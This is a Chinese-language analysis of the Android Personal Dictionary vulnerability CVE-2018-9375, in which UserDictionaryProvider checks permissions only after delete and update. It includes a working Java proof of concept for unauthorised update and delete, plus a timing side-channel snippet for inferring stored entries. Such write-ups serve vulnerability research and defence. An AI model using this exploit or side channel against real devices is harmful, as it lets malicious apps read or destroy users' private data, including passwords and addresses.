cve-2018-9375 —— Android Personal Dictionary漏洞分析

关于Personal Dictionary(个人字典)

Personal Dictionary(个人字典)是Android系统提供的一个自定义的字典,用于存放用户经常输入的数据或字符以提高输入效率,它位于“设置”—— “语言和输入法” —— “个人字典”中,某些情况下Personal Dictionary中可能存放用户的隐私信息,如密码、地址、电话、信用卡账号等信息。
https://ioactive.com/wp-content/uploads/2018/07/exploit-user-dictionary-poc.png
upload successful

用户也可以为一个字符串自定义一个shortcut,例如输入myhome,会自动出来详细的地址
https://ioactive.com/wp-content/uploads/2018/07/exploit-user-dictionary-poc2.png
upload successful

在Andorid系统内部,这些字符保存在一个sqlite数据库中,表名称为“words”,其中包含6个列:
_id (INTEGER, PRIMARY KEY)
word (TEXT)
frequency (INTEGER)
locale (TEXT)
appid (INTEGER)
shortcut (TEXT)

漏洞细节

早期版本的Android系统中,操作Personal Dictionary需要申请权限:
android.permission.READ_USER_DICTIONARY
android.permission.WRITE_USER_DICTIONARY
从Android 6.0(API 23)开始, Android规定只有IME和spellchecker才可以操作Personal Dictionary,并提供了对应的provider —— content://user_dictionary/words

com.android.providers.userdictionary.UserDictionaryProvider实现了对Personal Dictionary增删查改,canCallerAccessUserDictionary()函数进行权限检查,参考:https://android.googlesource.com/platform/packages/providers/UserDictionaryProvider/+/master/src/com/android/providers/userdictionary/UserDictionaryProvider.java

然后在实现delete和update函数时,一个奇葩的错误出现了,代码会先完成删除或更新操作,最后在检查权限,那么就造成了任何进程都可以进行delete和update操作了。

存在漏洞的delete实现:
upload successful

存在漏洞的update实现:
upload successful

此外,检查AndroidMefest.xml文件发现对UserDictionaryProvider的访问也没有任何限制

![upload successful](/images/pasted-103.png

因此,本地恶意应用利用该漏洞可以任意delete和update用户的Personal Dictionary了。

PoC

1
2
3
4
5
6
ContentValues values = new ContentValues();
values.put(UserDictionary.Words.WORD, "m4bln");
//更新
getContentResolver().update(UserDictionary.Words.CONTENT_URI, values,null, null);
//删除
getContentResolver().delete(UserDictionary.Words.CONTENT_URI, null, null);

利用侧信道进一步利用

上述漏洞仅能实现更新和删除Personal Dictionary,造成的影响有限,但如果能读取的话就比较严重了。

由于where参数可以完全被攻击者控制,并且成功执行更新操作的语句与不执行任何操作的同一语句相比用时更长,所以可以利用侧信道的方式来猜测Personal Dictionary。

例如,当数据库中存在以“a”开头的数据时,运行如下代码200次得出的时间会比没有“a”开头的数据要短,

1
2
3
4
5
6
7
8
9
ContentValues values = new ContentValues();
values.put(UserDictionary.Words._ID, 1);

long t0 = System.nanoTime();
for (int i=0; i<200; i++) {
getContentResolver().update(UserDictionary.Words.CONTENT_URI, values,
"_id = 1 AND word LIKE 'a%'", null);
}
long t1 = System.nanoTime();

因此,利用基于时间差的方法,可以依次猜测出第二个、第三个字符,直至猜到所有字符。

漏洞作者提供了Exploit: https://github.com/IOActive/AOSP-ExploitUserDictionary

漏洞修复

修复当然很简单,把权限检查放到开头就行了。这个漏洞的出现确实很奇葩,query、insert等函数的实现都是先check权限后操作,唯独delete和update存在漏洞,而且据作者描述,该漏洞存在了3年都没人发现!!!看来阅读和理解源代码确实需要一番功夫。

参考:

  1. https://ioactive.com/discovering-and-exploiting-a-vulnerability-in-androids-personal-dictionary/
  2. https://github.com/IOActive/AOSP-ExploitUserDictionary
  3. https://developer.android.com/reference/android/provider/UserDictionary
  4. https://android.googlesource.com/platform/packages/providers/UserDictionaryProvider/+/cccf7d5c98fc81ff4483f921fb4ebfa974add9c6%5E%21/#F0